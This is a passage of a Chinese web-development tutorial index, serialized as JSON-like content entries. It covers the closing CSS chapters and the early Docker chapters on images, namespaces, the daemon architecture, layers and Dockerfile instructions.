要不要包 @supports :has()、:is()\u002F:where()、@layer、原生嵌套、gap、aspect-ratio、clamp() 整条规则被忽略，布局退化为基线形态 一般不需要，写清基线样式即可；追求极端兼容时包 容器查询与 cqi 组件停在「窄容器」默认形态 建议包，避免中间态视觉 subgrid 卡片行不对齐，其他正常 建议包 @property 变量过渡退化成跳变 不需要 滚动驱动动画 进度条停在首\u002F末帧 必须包，且要保证静态形态可读 backdrop-filter 半透明面板糊在一起 建议包，并给一个不透明的回退底色",{"id":130680,"title":121844,"titles":130681,"content":121847,"level":341},"\u002Ftutorials\u002Fcss#二十一综合实战把一团-div-变成现代布局",[108416],{"id":130683,"title":121851,"titles":130684,"content":130685,"level":357},"\u002Ftutorials\u002Fcss#改造前八类典型问题",[108416,121844],"问题清单（每条都对应前面某一章）： 固定像素宽度 + 居中（width: 960px; margin: 0 auto）：窄屏出横向滚动条，宽屏两侧空白 → 第十三章 min(100% - 2rem, 68rem)。 float 两列：需要空 div.clearfix、需要 .last 抹掉末位边距、需要 overflow: hidden 修高度塌陷 → 第十一章 Grid 命名区域 + gap。 卡片列数靠复制类名（两列一套、单列一套）：改需求要两边同动 → 第十一章 auto-fit + minmax()。 颜色与字号硬编码且重复（#0066cc 出现 5 次、全部 px）：暗色主题没有可能 → 第十四章令牌 + 第十三章 rem\u002Fclamp()。 靠堆权重覆盖（.container .content .main .item .t）：任何定制只能 !important → 第四章降权重 + 第十五章 :is() + 第十四章组件变量。 padding-top: 70px 手算垂直居中：字号一改就歪 → 第十章 align-items: center \u002F 第十一章 place-items。 图片位靠 height 写死：真图进来要么变形要么留白 → 第十三章 aspect-ratio + object-fit。 只有 :hover 没有 :focus-visible：键盘用户看不见焦点，触屏点了不还原 → 第八\u002F十五章焦点样式 + 第十三章 hover: hover 判定。",{"id":130687,"title":121975,"titles":130688,"content":130689,"level":357},"\u002Ftutorials\u002Fcss#改造后同一份内容一半代码",[108416,121844],"改造后的写法逐条对应： 令牌层：--bg-1、--text-1、--brand-500、--space-3、--radius-3、--z-header 一次声明；html[data-theme='dark'] 只替换令牌，所有组件规则零改动，并配 color-scheme 让浏览器控件一起换（第十四章）。 容器层：.wrap { width: min(100% - 2 * var(--space-3), 68rem); margin-inline: auto; }——无需断点的居中容器（第十三章）。 骨架层：页头 position: sticky + z-index: var(--z-header)；主体 Grid 单列，@media (min-width: 52rem) 变两列（minmax(0, 1fr) 防溢出，第十一\u002F十二章）。 组件层：卡片一份样式，repeat(auto-fit, minmax(min(220px, 100%), 1fr)) 自己算列数；内部 flex-direction: column + margin-top: auto 让页脚对齐（第十\u002F十一章）。 槽位自适应：侧栏列表声明 container-type: inline-size，@container (min-width: 22rem) 时才横排——同一个组件放进宽槽会自动变横排（第二十章）。 动效：hover 只动 transform 与伪元素 opacity，prefers-reduced-motion 下整组过渡被关闭（第十八章）。 可访问性：:focus-visible 描边、aria-current=\"page\" 标当前页、装饰色块加 aria-hidden、sr-only 补列表说明（第十五章 + HTML 教程第十七章）。 API 化的组件：.badge { --badge-bg: …; --badge-fg: …; }，使用方给祖先设变量就能定制，不需要修饰类（第十四章）。",{"id":130691,"title":122113,"titles":130692,"content":130693,"level":357},"\u002Ftutorials\u002Fcss#对照检查清单新项目起手就用它",[108416,121844],"是否有一条 * { box-sizing: border-box; }（第六章） 颜色\u002F间距\u002F圆角\u002F层级是否只出现在令牌里（第十四章） 是否有硬编码 px 字号、是否给正文留了 rem 缩放余地（第七、十三章） 布局是否用 Grid 定骨架、Flex 定一维，float 只留在图文环绕（第九~十一章） 卡片墙是否用 auto-fit + minmax() 而不是复制列数类（第十一章） 组件是否用容器查询而不是猜视口宽度（第二十章） 每个可交互元素是否有 :focus-visible 样式，对比度是否达标（第八章） 动效是否有 prefers-reduced-motion 降级（第十三、十八章） 新特性是否包了 @supports，并确认不支持时的形态可接受（第二十章） 图片是否有 width\u002Fheight（防布局抖动）、aspect-ratio + object-fit 是否配合（第十三章 + HTML 教程第六章） 是否存在靠 !important 或超长选择器维持的覆盖（第四、十五章） 层叠顺序是否清晰：未分层样式有没有意外压过组件库（第十二、十六章）",{"id":130695,"title":122233,"titles":130696,"content":130697,"level":357},"\u002Ftutorials\u002Fcss#结语css-的心智模型只有三句话",[108416,121844],"谁生效 = 层叠（权重、书写顺序、!important、层、上下文）——第四、十二、十六章； 生效成什么样 = 盒模型 + 布局算法（普通流、Flex、Grid、定位）——第六、九~十二章； 能不能被所有人用 = 排版与可访问性 + 渐进增强（rem、焦点、降级、@supports）——第七、十三、二十章。 剩下的一切——颜色、渐变、阴影、动画——都是这三条之上的表现层。把这三句话记住，遇到「为什么不是我想的样子」时，先问它属于哪一句，答案通常就在对应那一章里。 html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .s6RL2, html code.shiki .s6RL2{--shiki-default:#FDAEB7;--shiki-default-font-style:italic}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}",{"id":61734,"title":45617,"titles":130699,"content":61732,"level":334},[],{"id":130701,"title":45623,"titles":130702,"content":130703,"level":341},"\u002Ftutorials\u002Fdocker#一容器到底解决了什么镜像容器与仓库三件套",[45617],"先还原一个每天都在上演的场景。你在自己机器上跑通了服务，python app.py 一切正常；交给测试同学，报错 ModuleNotFoundError: No module named 'pandas'；测试环境装了 pandas，你本地是 1.1 而那边是 2.0，接口返回的日期格式对不上；终于版本对齐了，生产机是 ARM 架构，而依赖里有一个需要现场编译 C 扩展的包。 「在我机器上能跑」这句话之所以让人头疼，不是因为机器有坏有好，而是因为运行环境是一组隐式依赖的集合：操作系统版本、C 库（glibc 还是 musl）、解释器与依赖库的具体版本、时区、环境变量、字体、可用的系统调用、CPU 架构。传统部署方式里，这堆东西散落在各台机器上，靠文档和运维的记忆维持一致。容器要解决的正是这个：把「应用 + 它需要的一切」打成一个不可变的包，让隐式依赖变成显式内容。",{"id":130705,"title":45649,"titles":130706,"content":130707,"level":357},"\u002Ftutorials\u002Fdocker#镜像容器仓库三个名词先把边界划清",[45617,45623],"概念 它是什么 类比 关键性质 镜像 image 只读的文件系统快照 + 启动参数 安装光盘 \u002F class 不可变、分层、可按内容寻址（digest） 容器 container 镜像加上一个可写层，跑起来的进程 进程 \u002F new 出来的对象 可创建、可停止、可删除，数据默认随它消失 仓库 repository 存放某个应用的一组镜像（按 tag 区分） Maven 仓库 nginx、ghcr.io\u002Fexample\u002Fshop-api 都是一个仓库 注册中心 registry 提供仓库服务的服务器 私服 Nexus docker.io、ghcr.io、自建 registry:2 最容易混的是最后两个：仓库是一组 tag，注册中心是那个服务。而镜像与容器的关系，第三章讲分层时会具体化：镜像是只读的，容器启动时在这一叠只读层上面盖了一层自己的读写层。你往容器里写的任何文件都只在那一层里，docker rm 之后一并消失——这是新手最常踩的第一个坑（第九章）。",{"id":130709,"title":45753,"titles":130710,"content":130711,"level":357},"\u002Ftutorials\u002Fdocker#容器不是轻量虚拟机共享内核是全部差异的来源",[45617,45623],"很多人把容器理解成「小一点的虚拟机」，这个类比会让你后面所有判断都跑偏。 维度 虚拟机 容器 内核 每个 VM 自己一个完整内核 所有容器共享宿主内核 启动 几十秒（走完整 BIOS\u002Fsystemd） 几十到几百毫秒（只是起一个进程） 内存开销 预先分配整个 guest 内存 就是进程本身，用多少占多少 镜像大小 几 GB 几十 MB 到几百 MB 单机密度 几台到十几台 几十到几百个 隔离强度 硬件虚拟化，边界很硬 内核特性 + 能力裁剪，边界是「软」的 跨内核 Linux VM 可以跑在 Windows 宿主上 Linux 容器必须跑在 Linux 内核上 最后一行值得单独强调：容器不是把硬件虚拟化了一遍，它只是把一个进程的可见世界做了限制。所以 Windows 上跑 Linux 容器必须在 Linux 内核上面垫一层虚拟机——第二章讲 Docker Desktop 时这个事实会造成一堆「奇怪现象」（bind mount 慢、host 网络不生效）。",{"id":130713,"title":45864,"titles":130714,"content":130715,"level":357},"\u002Ftutorials\u002Fdocker#namespace-管看得见什么cgroup-管用得了多少",[45617,45623],"容器为什么能「像独立机器」？靠的是内核里两套机制，分工非常清楚。 namespace 负责可见性的隔离，让同一个进程看到的世界上少了一半东西： namespace 隔离了什么 你在容器里的直观感受 mnt 挂载点 根目录是镜像的文件系统，宿主的 \u002Fhome 看不见 pid 进程号 ps 里自己的应用是 PID 1，看不见宿主的 sshd net 网络栈 有自己的网卡、IP、路由表、iptables uts 主机名 hostname 返回容器名 ipc 信号量 \u002F 共享内存 只能和同组容器通信 user UID\u002FGID 映射 rootless 模式下容器 root 其实是宿主普通用户 cgroup（control group）负责资源的计量与限制：CPU 时间、内存上限、块设备 IO、进程数、网络带宽（通过 cgroup v2）。docker stats 看到的数字、--memory 的限制、第十四章那个 Exited (137)，全部来自 cgroup。 一句话记住分工：namespace 决定容器「不知道宿主存在」，cgroup 决定容器「不能把宿主吃穷」。也正因为隔离是靠内核特性而不是硬件，容器才又快又省，但也才需要第十五章那整套安全加固——默认的容器不是一个足够硬的安全边界。",{"id":130717,"title":46009,"titles":130718,"content":130719,"level":357},"\u002Ftutorials\u002Fdocker#一次构建到处运行的边界在哪里",[45617,45623],"这句宣传语是真的，但它有明确的适用范围。下面这些东西不在镜像里，因此换机器就可能变行为： 不受镜像控制 后果示例 正确做法 宿主内核版本与模块 老内核跑新镜像报 unknown mount option \u002F overlay 不支持 统一宿主基线，CI 里用目标内核测 CPU 架构 exec format error（第十八章） 多架构镜像（第五章）或固定 --platform 设备与驱动 GPU 容器缺少 nvidia 运行时 设备透传 + 对应 runtime 资源上限 同镜像在小机器上 OOM 被杀 --memory \u002F Compose 显式声明（第十四章） 文件系统属主 UID bind mount 进去写不进去 对齐 UID 或用卷（第九章） 外部地址与密钥 连不上数据库、密钥泄漏 环境变量与 secrets 注入（第十三章） 并发与连接池大小 单机调好的参数在 8 核机上打爆 DB 从 --cpus 推导，不写死 所以准确的说法是：镜像保证「应用及其用户空间依赖」一致，不保证「运行时环境」一致。剩下的差异要么由编排层注入，要么由你在配置里显式声明。理解了这条边界，后面十七章的所有「为什么要这样写」都有了落点。 下一章开始动手：装好它，跑通第一个容器，并看清那条命令背后到底发生了什么。",{"id":130721,"title":46140,"titles":130722,"content":314,"level":341},"\u002Ftutorials\u002Fdocker#二安装与第一次运行daemon客户端与虚拟机的本质",[45617],{"id":130724,"title":46144,"titles":130725,"content":130726,"level":357},"\u002Ftutorials\u002Fdocker#daemon-与客户端docker-命令其实只是个-http-客户端",[45617,46140],"很多人以为 docker run 是本机执行了容器，其实不是。真实链路是：docker CLI 发 HTTP 请求 → \u002Fvar\u002Frun\u002Fdocker.sock → dockerd（常驻服务，负责接收请求、拉镜像、管网络与卷）→ containerd（真正的容器运行时管理层，镜像解包、任务生命周期归它）→ runc（一次性小工具，做完 namespace\u002Fcgroup 那套系统调用把容器进程生出来就退出，不留常驻进程）。 关键推论有三个： 客户端与 daemon 可以完全分离。设 DOCKER_HOST=tcp:\u002F\u002Fbuild-server:2375，你的 docker 命令就在操控远端机器。CI 里的 docker:24-dind 镜像就是这么用的。 daemon 挂了，容器不一定挂。已运行的容器由 runc 生成的进程继续跑；重启 dockerd 会重新接管它们（这也是为什么 docker restart dockerd 比想象中有用，但也可能造成短暂失联）。 能访问那个 socket 就等于宿主 root。\u002Fvar\u002Frun\u002Fdocker.sock 的权限、挂载它的风险，第十五章会专门算这笔账。 安装方式上，Linux 建议用发行版的官方仓库装 docker-ce（snap 版本会限制挂载路径，坑很多），装完 sudo systemctl enable --now docker，再用 systemctl status docker --no-pager 确认是 active (running)。",{"id":130728,"title":46231,"titles":130729,"content":130730,"level":357},"\u002Ftutorials\u002Fdocker#docker-version-与-docker-info先学会读字段",[45617,46140],"装完先跑这两条，它们是你后面所有排障的信息源。docker version 输出分 Client 和 Server 两段：ApiVersion 决定客户端能说什么话，Version 是引擎版本，GitCommit 是构建标识（提 issue 时要给），Os\u002FArch 是这台机器的目标平台——跨架构问题第一个看这里。如果只有 Client 段然后报错 Cannot connect to the Docker daemon，说明 daemon 没跑或你没权限，这是第十八章表格的第一行。 docker info 要重点读的字段： 字段 看它干什么 Server Version 引擎版本，决定可用特性 Storage Driver 几乎总是 overlay2；vfs 说明没加速层，又慢又占盘 Cgroup Driver \u002F Cgroup Version systemd 还是 cgroupfs、v1 还是 v2——与 k8s 混用时驱动必须一致，v1\u002Fv2 的内存与 swap 语义有差异（第十四章） Security Options seccomp、apparmor、rootless 都在这里体现 Docker Root Dir 镜像与卷的真实落盘位置，磁盘爆了对着它 du（第九章） Registry Mirrors、NCPU、Total Memory 加速器是否生效；宿主真实上限（--memory\u002F--cpus 是相对它而言）",{"id":130732,"title":46384,"titles":130733,"content":130734,"level":357},"\u002Ftutorials\u002Fdocker#docker-run-hello-world拆开看它做了六件事",[45617,46140],"跑一条 docker run hello-world，屏幕上那段 \"Hello from Docker!\" 背后是一条完整链路： 客户端把「跑 hello-world」的请求发给 daemon； daemon 本地查 docker.io\u002Flibrary\u002Fhello-world:latest 的镜像记录，没有，于是向 registry-1.docker.io 发认证与拉取； 按 manifest 找到匹配 linux\u002Famd64 的那一组层，逐层下载并校验 sha256； 把层解压到 \u002Fvar\u002Flib\u002Fdocker\u002Foverlay2\u002F，用联合挂载叠成一个只读根文件系统； 在上面盖一层容器可写层，配上 namespace\u002Fcgroup，让 runc 拉起镜像 CMD 指定的 \u002Fhello； 进程打印一段文本后 exit 0，容器进入 exited 状态——docker ps 看不见它，docker ps -a 能看见（第六章）。 这条链路解释了三个常见困惑：第一次跑慢是拉镜像（不是启动慢）；跑完就没了是应用正常退出（容器活着的时间 = 主进程活着的时间）；docker run 其实是 pull + create + start 三个动作的合称。",{"id":130736,"title":46480,"titles":130737,"content":130738,"level":357},"\u002Ftutorials\u002Fdocker#sudo-usermod-ag-docker-user为什么要重新登录",[45617,46140],"把用户加进 docker 组，是为了不用每条命令都 sudo：sudo usermod -aG docker $USER，然后 newgrp docker 或直接退出终端重新登录，用 id 确认 groups 里能看到 docker。 必须重新登录（或 newgrp）的原因是：组的成员关系是进程凭证的一部分，只在登录那一刻被读进进程。你改的是 \u002Fetc\u002Fgroup，而当前这个 shell 进程的凭证是登录时抄的一份快照，不重新登录它不会更新。新手在这里卡住的典型症状是明明执行过 usermod，docker ps 依旧报 permission denied while trying to connect to the Docker daemon socket。 -aG 的 a 不能省：usermod -G docker $USER（没有 a）会把用户从其他所有附加组里移除，这是能把机器权限改坏的经典事故。 还要清楚这件事的实质：加入 docker 组不是「降权」，而是把宿主 root 能力授给了你。能起容器就能挂载任意宿主目录，包括 \u002F。生产机器上谁该进这个组，要当成 sudoers 来审。",{"id":130740,"title":46552,"titles":130741,"content":130742,"level":357},"\u002Ftutorials\u002Fdocker#rootless-模式把-daemon-也变成普通用户",[45617,46140],"rootless 模式让 dockerd 自己跑在普通用户下（靠 newuidmap\u002Fnewgidmap 与 user namespace）。它换来的是「即使容器逃逸，攻击者拿到的也是普通用户」，代价是一串限制： 项目 rootful rootless 绑定 80\u002F443 特权端口 可以 不行（>1024，除非改 sysctl） --network=host \u002F macvlan 可以 受限或不可用 bind mount 宿主文件 直接对应 受 subuid 映射，属主看着是 100000+（第九章、第十五章） 数据目录 \u002Fvar\u002Flib\u002Fdocker ~\u002F.local\u002Fshare\u002Fdocker 开机自启 systemd 服务 需要用户级 lingering（loginctl enable-linger） 装法是官方脚本 rootlesskit + dockerd-rootless-setuptool.sh install，然后 systemctl --user 管理。对个人开发机和「只跑自己代码」的构建机很合适；给外部内容做隔离时它确实提高了一档门槛。",{"id":130744,"title":46665,"titles":130745,"content":130746,"level":357},"\u002Ftutorials\u002Fdocker#docker-desktop-与那台看不见的虚拟机",[45617,46140],"macOS 和 Windows 上你装的是 Docker Desktop，它不是「原生支持容器」，而是在宿主上偷偷起了一台 Linux 虚拟机（macOS 用 Apple 虚拟化框架 \u002F HyperKit，Windows 用 WSL2 或 Hyper-V），daemon 和所有容器都跑在那台 VM 里。你敲的 docker 命令通过它暴露的 socket 转发过去。 由此产生的三个「为什么」必须提前知道，否则后面会一直被折磨： 为什么 bind mount 这么慢？ 容器在 Linux VM 里，而你的代码在 macOS\u002FWindows 文件系统上，每次读写都要跨一次虚拟机文件共享（virtiofs \u002F gRPC-FUSE \u002F WSL2 计划）。stat 密集型操作（npm install、大量小文件）慢一个数量级。解法：把代码放在命名卷里、或用 WSL2 内的文件系统（Windows 侧）、或直接在 VM 里跑构建。 为什么 --network=host 不生效？ 那个 host 是 VM 的 host，不是你 Mac 的。同理 127.0.0.1 在容器里也不指向你的浏览器（第八章）。 为什么内存把 Mac 吃满？ VM 会尽量占满分配给它的内存并不归还，需要在 Desktop 设置里给 Docker VM 分配上限（第八章的资源视角）。 Linux 上没有这层虚拟机，性能与语义都是「原生」的——这也是生产环境几乎清一色 Linux 容器的原因。 下一章来看镜像的真实结构：它是一叠只读层，理解这一点之后，Dockerfile 里所有「为什么要按这个顺序写」都会自动说得通。",{"id":130748,"title":46715,"titles":130749,"content":130750,"level":341},"\u002Ftutorials\u002Fdocker#三镜像分层只读层联合挂载与容器可写层",[45617],"镜像不是一个大文件，而是一叠只读层。这一章的目标是让你能从命令输出里亲眼看到这些层——看懂了层，第五章的缓存、第十四章的瘦身、第十五章的密钥泄漏才是「显然」的结论。",{"id":130752,"title":46726,"titles":130753,"content":130754,"level":357},"\u002Ftutorials\u002Fdocker#一叠只读层-一个读写层",[45617,46715],"启动容器时，Docker 用联合挂载（Linux 上默认 overlay2）把这叠只读层叠成一个根文件系统，再在最上面加一层属于这个容器的可写层： ┌────────────────────────────────┐\n│ 容器可写层（每个容器一份）     │ ← 所有写入都发生在这里，docker rm 即消失\n├────────────────────────────────┤\n│ CMD [\"node\", \"server.js\"]   0B │ 元数据层：不占空间，但参与缓存判定\n│ COPY . .                 1.8MB │\n│ RUN npm ci                212MB│\n│ WORKDIR \u002Fsrv\u002Fshop           0B │\n│ FROM node:22-bookworm-slim 78MB│\n└────────────────────────────────┘\n  下面全是只读层：可被多个镜像、多个容器共享 三个直接后果： 共享。跑 20 个基于同一镜像的容器，磁盘上只有一份镜像层，20 个可写层而已。这就是容器密度高、镜像「下载快」的物理原因（很多层早就在本地了，只拉缺的）。 写时复制（copy-up）。你要改下层的 app.conf，文件系统先把整份文件复制到可写层，你改的是副本；上层「遮住」下层。删文件同理，是在可写层放一个 whiteout 标记，下层那个字节还在——所以在 Dockerfile 里 RUN rm bigfile 不会让镜像变小，必须和产生它的指令合并在同一层（第十四章瘦身核心）。 容器可写层是易逝的。docker rm 就没了。数据库要活着必须走卷（第九章）。",{"id":130756,"title":46906,"titles":130757,"content":130758,"level":357},"\u002Ftutorials\u002Fdocker#docker-history把层和-dockerfile-指令对上",[45617,46715],"docker history ghcr.io\u002Fexample\u002Fshop-api:1.8.3 --no-trunc 的输出里每条指令对应一层，SIZE 是该层新增的字节数。你会看到大量 SIZE 为 0 的层——它们是元数据层（CMD、ENTRYPOINT、ENV、EXPOSE、WORKDIR、USER、LABEL、VOLUME），只改配置不写文件，不占空间但仍然算一层、仍然参与缓存判定。这个区分在第四章讲指令顺序时是关键。 示例 03 把这几条真实输出摆在一起，可以逐字段点开看：层是从下往上叠加的，history 是从上往下打印的，方向感要建起来。 另外两个观察入口是 docker image inspect ghcr.io\u002Fexample\u002Fshop-api:1.8.3 --format '{{json .RootFS.Layers}}'（层的内容哈希数组，从上到下即从最底层到最上层）和 docker system df（给四行账：Images、Containers、Local Volumes、Build Cache，以及各自的「可回收」比例——第十四章讨论清理策略时，它就是你每次决策前该看的那张表）。",{"id":130760,"title":46972,"titles":130761,"content":130762,"level":357},"\u002Ftutorials\u002Fdocker#改一行代码为什么要重建内容哈希决定失效点",[45617,46715],"构建时每一层的 ID 由「父层 ID + 本条指令 + 本指令涉及的输入内容（对 COPY\u002FADD 是文件内容哈希）」算出来。因此： FROM node:22-bookworm-slim           # 层 1\nWORKDIR \u002Fsrv\u002Fshop                    # 层 2（元数据）\nCOPY package.json package-lock.json .\u002F  # 层 3：只依赖这两个文件\nRUN npm ci                           # 层 4：npm 只依赖上一份 package-lock\nCOPY . .                             # 层 5：整个源码目录 —— 改任何一行源码，从这层起重跑\nENV NODE_ENV=production              # 层 6（元数据）\nEXPOSE 3000                          # 层 7（元数据）\nCMD [\"node\", \"server.js\"]            # 层 8（元数据） 改一行源码 → 层 1–4 命中缓存，层 5 起重建。但如果你把 COPY . . 写在 COPY package.json 前面，或者干脆第一行就 COPY . .，那么改一行代码就要重新 npm ci（因为 npm ci 那层的父层哈希变了）——一个几秒的改动变成几分钟的构建。这一条顺序调整，是 Dockerfile 性能优化里性价比最高的一件事，没有之一。",{"id":130764,"title":47047,"titles":130765,"content":130766,"level":357},"\u002Ftutorials\u002Fdocker#镜像就是一个-tar-的集合",[45617,46715],"镜像在磁盘上是散的目录，但在网络上和 docker save 的结果里，它是一组 tar。执行 docker save -o shop-api-1.8.3.tar ghcr.io\u002Fexample\u002Fshop-api:1.8.3 && tar tf shop-api-1.8.3.tar | head -8，你会看到 blobs\u002Fsha256\u002F... 一堆层文件加一个 manifest.json、index.json、oci-layout。也就是说：「镜像」本质上是一份带元数据的文件系统 tar 包集合，OCI 规范只是把这格式标准化了。这带来两个实用能力： docker save \u002F docker load：离线分发。内网机器没外网、气隔环境、应急回滚包，都靠它（第十章细讲用法与风险）。 层可以被任何兼容 OCI 的工具消费：Podman、containerd、Kubernetes 直接用 docker build 出来的镜像（第十七章讲 dockershim 移除时这条是重点）。 对应命令组： 命令 作用 注意 docker images 本地镜像列表 SIZE 是解压后共享大小，不等于它占的磁盘 docker history 层与指令对应表 --no-trunc 才看得到完整指令，也是查密钥泄漏的第一现场 docker image inspect 完整元数据 JSON RootFS.Layers、Config.Env、RepoDigests、Architecture docker image ls -q 只要 ID 配合 docker rmi $(...) 批量删 docker system df 磁盘账本 清理前先跑它，别反过来 docker save \u002F docker load 导出 \u002F 导入 tar 不跨架构；tar 体积按未压缩算 这一章的收获应该是：你从此看 docker build 的输出不再是「它在忙」，而是「它重跑到第几层、为什么这层没命中」。下一章把 Dockerfile 的每一条指令讲透，那正是控制分层的唯一手段。",{"id":130768,"title":47220,"titles":130769,"content":130770,"level":341},"\u002Ftutorials\u002Fdocker#四dockerfile-逐条讲透指令语义四种组合与元数据层",[45617],"Dockerfile 是镜像的源代码，也是本教程密度最高的一章。逐条讲不是因为记不住就没法用，而是因为每条指令都有「看起来对、跑起来炸」的陷阱，而陷阱基本都藏在默认行为里。",{"id":130772,"title":47231,"titles":130773,"content":130774,"level":357},"\u002Ftutorials\u002Fdocker#from起点也是体积与漏洞的主要来源",[45617,47220],"FROM node:22-bookworm-slim AS builder     # 带别名，供多阶段构建引用\nFROM golang:1.23-alpine\nFROM scratch                             # 空镜像：只有你显式复制进去的东西\nFROM ghcr.io\u002Fexample\u002Fshop-api:1.8.3@sha256:9c1f0e... # 标签 + digest 双锁 要点： 一个 Dockerfile 可以有多个 FROM，这就是多阶段构建的骨架（第五章）；最终镜像只包含最后一个 FROM 之后的内容。 FROM 决定了一切上游：glibc 还是 musl、有没有 apt\u002Fapk、默认用户是不是 root、有多少 CVE 等着被打。基础镜像选型在第十五章展开。 版本要写具体。FROM node:latest 意味着你的构建今天绿、下个月不知道因为什么红。生产用「大版本 tag + digest」。",{"id":130776,"title":47295,"titles":130777,"content":130778,"level":357},"\u002Ftutorials\u002Fdocker#copy-vs-add默认选-copy没有例外",[45617,47220],"COPY ADD 复制本地文件到镜像 ✓ ✓ 源是 URL（ADD http:\u002F\u002F…） ✗ ✓（但不是为它设计的功能） 源是 tar 自动解压 ✗ ✓（隐式行为，容易踩） 支持 --chown \u002F --chmod ✓ ✓ 官方文档自己就写着「通常用 COPY」。ADD 那两个额外能力都有更好的替代品：下载用 RUN curl + RUN rm（能校验、能清理、能合进一层），解压用 RUN tar -xzf。一个细节值得记：ADD \u003Ctar-url> 不解压（网络源不触发自动解压），这种不一致正是它该被避开的原因。 COPY 的两个易错点：COPY --chown=app:app --chmod=0644 . \u002Fsrv\u002Fshop\u002F 避免整棵目录被 root 占有；目标以 \u002F 结尾是「拷进目录」，不以 \u002F 结尾且源是单个文件则是「重命名」。另外 COPY 只能看见构建上下文，COPY ..\u002Fx 一律失败；.dockerignore 会同时影响 COPY . . 的内容与缓存哈希（第五章）。",{"id":130780,"title":47426,"titles":130781,"content":130782,"level":357},"\u002Ftutorials\u002Fdocker#runshell-形式与-exec-形式以及-pid-1-的伏笔",[45617,47220],"RUN apt-get update && apt-get install -y --no-install-recommends curl ca-certificates \\\n    && rm -rf \u002Fvar\u002Flib\u002Fapt\u002Flists\u002F*          # 三层合一：一条 RUN 一个层，必须链起来\nSHELL [\"\u002Fbin\u002Fbash\", \"-o\", \"pipefail\", \"-c\"] # 改默认 shell（见本章 SHELL）\nRUN set -o pipefail && make 2>&1 | tee build.log 每多一条 RUN 就多一层，而层里的东西删不掉。所以「装包 → 清理」必须用 && 写在同一条 RUN 里；分开写等于用下一层去遮蔽，磁盘上原文件还在。 apt-get update 单独成层会长期缓存，之后装到的永远是那次快照的旧包；和 install 同层才能一起失效。 每条 RUN 都是全新 shell 进程，互不继承状态：RUN cd \u002Ftmp 下一层回到工作目录，RUN export FOO=1 下一层消失（要跨指令请用 ENV）。 形式有两种，差别很重要：RUN npm ci（shell 形式，实际执行 \u002Fbin\u002Fsh -c \"npm ci\"）与 RUN [\"npm\", \"ci\"]（exec 形式，没有 shell）。shell 形式能用管道、&&、通配符、变量展开，代价是你真正想跑的程序不是 PID 1——这直接决定信号能不能收到（第十六章的优雅停机整章在讲这个坑）。exec 形式里 node 就是 PID 1。",{"id":130784,"title":47523,"titles":130785,"content":130786,"level":357},"\u002Ftutorials\u002Fdocker#cmd-vs-entrypoint四种组合必须一次讲清",[45617,47220],"这两个概念之所以绕，是因为它们一个管「主命令的参数」，一个管「主命令本身」，而且只有最后一层生效。 Dockerfile 里写了 容器启动时执行 docker run img python -m http.server 时执行 CMD [\"node\",\"app.js\"]，无 ENTRYPOINT node app.js python -m http.server（整条被替换） ENTRYPOINT [\"node\"]，无 CMD node node python -m http.server（参数追加） ENTRYPOINT [\"node\"] + CMD [\"app.js\"] node app.js node python -m http.server（只替换参数——最常用的组合） ENTRYPOINT [\"sh\",\"-c\",\"node $FLAG app.js\"] + CMD shell 解释 shell 解释，追加的参数变成 $0 $1，CMD 被忽略 实践结论： 一个纯服务型镜像：ENTRYPOINT 定命令、CMD 定默认参数。这样使用者可以用 docker run img --help 换参数，而不是被迫重写整个命令。 一个工具型镜像（ubuntu、alpine）：只写 CMD [\"bash\"]，因为用户就是要随便跑点什么，ENTRYPOINT 会碍事。 docker run 后面的参数永远覆盖 CMD，--entrypoint 永远覆盖 ENTRYPOINT：docker run --rm --entrypoint sh ghcr.io\u002Fexample\u002Fshop-api:1.8.3 -c \"node -v\" 是第七章调试的起手式。 只有最后一层生效：Dockerfile 里写两条 CMD，第一条静默失效；继承自基础镜像的 CMD\u002FENTRYPOINT 也会被你覆盖。想确认最终值：docker image inspect img --format '{{.Config.Entrypoint}} {{.Config.Cmd}}'。 ENTRYPOINT\u002FCMD 是元数据层，不占空间，把它们写在最后能最大化缓存命中。",{"id":130788,"title":47721,"titles":130789,"content":130790,"level":357},"\u002Ftutorials\u002Fdocker#env-arg构建期与运行期以及它们都会留在历史里",[45617,47220],"指令 何时可见 是否留在最终镜像 典型用途 ARG 仅构建期（--build-arg 传入） 否（值不留，但指令文本留） 版本号、代理、构建目标 ENV 构建期 + 运行期 是（Config.Env） NODE_ENV、PATH、TZ ARG NODE_VERSION=22.11.0        # 有默认值；ARG 只在声明之后的指令生效\nFROM node:${NODE_VERSION}-bookworm-slim   # FROM 之前的 ARG 是「全局作用域」，不进任何层\nENV NODE_ENV=production 两条铁律： ARG 不产生数据层，但 docker history 里能看到那行指令文本，所以 --build-arg PASSWORD=... 依然是泄漏。 ENV\u002FARG\u002FRUN 都禁止放密钥：RUN curl -H \"token: $SECRET\" 里字面量写死的 token，会原样出现在层历史与构建日志里（第十五章会演示用 docker history --no-trunc 把它捞出来）。密钥走 --mount=type=secret 或运行时注入。 ENV 的另一个用途是运行期可覆盖的默认值：ENV TZ=Asia\u002FShanghai 进镜像，但 docker run -e TZ=UTC 仍能盖掉它——这是第十三章「配置优先级」的第一层。",{"id":130792,"title":47870,"titles":130793,"content":130794,"level":357},"\u002Ftutorials\u002Fdocker#workdiruservolumeexposelabelhealthcheckshell",[45617,47220],"WORKDIR \u002Fsrv\u002Fshop      # 比 RUN cd 好：后续 RUN\u002FCOPY\u002FADD 的相对路径基准，且是元数据层\nUSER 1001:1001         # 之后的 RUN 与容器运行都以该身份（rootless 与第十五章相关）\nVOLUME \u002Fvar\u002Flib\u002Fmysql  # 声明「这里该有独立存储」，构建时不生效、运行时无名卷兜底\nEXPOSE 3000            # 纯文档：不发布端口、不写 